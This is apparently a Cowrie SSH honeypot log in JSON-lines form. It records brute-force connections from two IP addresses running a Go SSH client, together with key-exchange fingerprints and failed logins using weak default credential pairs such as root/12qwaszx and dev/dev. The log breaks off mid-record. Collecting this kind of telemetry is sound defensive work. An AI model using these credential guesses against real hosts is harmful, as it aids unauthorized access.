{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:40.218147Z","src_ip":"91.92.40.171","session":"22c7fe98e720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":47282,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bcdf1135aa8","protocol":"ssh","message":"New connection: 91.92.42.133:47282 (159.203.135.109:22) [session: 5bcdf1135aa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:42.848564Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":41328,"dst_ip":"159.203.135.109","dst_port":22,"session":"4674feaee71a","protocol":"ssh","message":"New connection: 91.92.40.171:41328 (159.203.135.109:22) [session: 4674feaee71a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:43.155271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:43.195300Z","src_ip":"91.92.42.133","session":"5bcdf1135aa8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:43.198447Z","src_ip":"91.92.42.133","session":"5bcdf1135aa8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:43.273166Z","src_ip":"91.92.40.171","session":"4674feaee71a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:43.276345Z","src_ip":"91.92.40.171","session":"4674feaee71a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"myuser","message":"login attempt [myuser/myuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:43.689792Z","src_ip":"91.92.40.171","session":"22c7fe98e720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:43.890908Z","src_ip":"91.92.40.171","session":"4674feaee71a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12qwaszx","message":"login attempt [root/12qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:44.399649Z","src_ip":"91.92.42.133","session":"5bcdf1135aa8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:45.048994Z","src_ip":"91.92.40.171","session":"4674feaee71a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.7","message":"Connection lost after 6.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:45.789884Z","src_ip":"91.92.40.171","session":"22c7fe98e720","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:45.922325Z","src_ip":"91.92.42.133","session":"5bcdf1135aa8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":59340,"dst_ip":"159.203.135.109","dst_port":22,"session":"da24986179f6","protocol":"ssh","message":"New connection: 91.92.40.171:59340 (159.203.135.109:22) [session: da24986179f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:49.333838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:49.392807Z","src_ip":"91.92.40.171","session":"da24986179f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:49.465195Z","src_ip":"91.92.40.171","session":"da24986179f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"123","message":"login attempt [testuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:49.827397Z","src_ip":"91.92.40.171","session":"da24986179f6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":52588,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d666d3f23a5","protocol":"ssh","message":"New connection: 91.92.42.133:52588 (159.203.135.109:22) [session: 9d666d3f23a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:50.529880Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:50.751450Z","src_ip":"91.92.42.133","session":"9d666d3f23a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:50.756106Z","src_ip":"91.92.42.133","session":"9d666d3f23a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:50.963276Z","src_ip":"91.92.40.171","session":"da24986179f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:51.755544Z","src_ip":"91.92.42.133","session":"9d666d3f23a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:53.335173Z","src_ip":"91.92.42.133","session":"9d666d3f23a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":52926,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff8a6375f42f","protocol":"ssh","message":"New connection: 91.92.40.171:52926 (159.203.135.109:22) [session: ff8a6375f42f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:54.943225Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:55.224362Z","src_ip":"91.92.40.171","session":"ff8a6375f42f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:55.228082Z","src_ip":"91.92.40.171","session":"ff8a6375f42f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:56.289321Z","src_ip":"91.92.40.171","session":"ff8a6375f42f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:57.407948Z","src_ip":"91.92.40.171","session":"ff8a6375f42f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":50564,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c1dbe103c7b","protocol":"ssh","message":"New connection: 91.92.42.133:50564 (159.203.135.109:22) [session: 3c1dbe103c7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:57.704018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:57.895837Z","src_ip":"91.92.42.133","session":"3c1dbe103c7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:57.899344Z","src_ip":"91.92.42.133","session":"3c1dbe103c7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ts3","password":"123","message":"login attempt [ts3/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:02:59.602496Z","src_ip":"91.92.42.133","session":"3c1dbe103c7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":52992,"dst_ip":"159.203.135.109","dst_port":22,"session":"d37abc91b70f","protocol":"ssh","message":"New connection: 91.92.40.171:52992 (159.203.135.109:22) [session: d37abc91b70f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:00.844917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:00.973949Z","src_ip":"91.92.40.171","session":"d37abc91b70f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:00.978562Z","src_ip":"91.92.40.171","session":"d37abc91b70f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:01.007340Z","src_ip":"91.92.42.133","session":"3c1dbe103c7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"abc123","message":"login attempt [bot/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:02.079042Z","src_ip":"91.92.40.171","session":"d37abc91b70f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:03.287030Z","src_ip":"91.92.40.171","session":"d37abc91b70f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":53676,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec79c4de49b3","protocol":"ssh","message":"New connection: 91.92.42.133:53676 (159.203.135.109:22) [session: ec79c4de49b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:04.890190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:03:05.342636Z","src_ip":"91.92.42.133","session":"ec79c4de49b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 